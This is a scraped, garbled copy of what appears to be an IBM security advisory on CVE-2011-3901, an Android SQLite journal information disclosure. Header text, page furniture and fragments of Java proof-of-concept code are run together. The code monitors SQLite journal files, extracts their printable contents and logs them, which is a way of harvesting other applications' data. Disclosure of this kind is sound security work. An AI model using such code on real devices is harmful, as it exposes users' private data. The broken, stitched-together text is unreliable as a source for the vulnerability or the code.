Android SQLite Journal Information Disclosure - IBM Application ...

9 downloads 268 Views 125KB Size Report
May 3, 2012 - Android applications are executed in a sandbox environment, to ensure that no application can access sensi
Android SQLite Journal Information Disclosure CVE-2011-3901 A security advisory

[email protected]>

Roee Hay
see appendix II = m) continue; mLastChanges.put(name, m); handleChange(f);

private void handleChange(File file) { log(file.getAbsolutePath(), getPrintable(file)); }

quick

private void log(String pkg, String data) { String line = pkg + ":\n\n" + data + "\n================================\n"; try { mLog.write(line.getBytes()); mLog.flush(); } catch (IOException e) {}

3

} private static String getPrintable(File journal) { String printable = ""; int len = 0; FileReader fr; try { fr = new FileReader(journal); char[] buffer = new char[1024]; while (-1 != (len = fr.read(buffer))) { for (int i = 0 ; i < len ; i++) { if (filter(buffer[i])) printable += buffer[i]; } } } private static boolean filter(char ch) { switch (ch) { case '\n': case '\r': case '\t': return true; } if ((ch >= 0x20) && (ch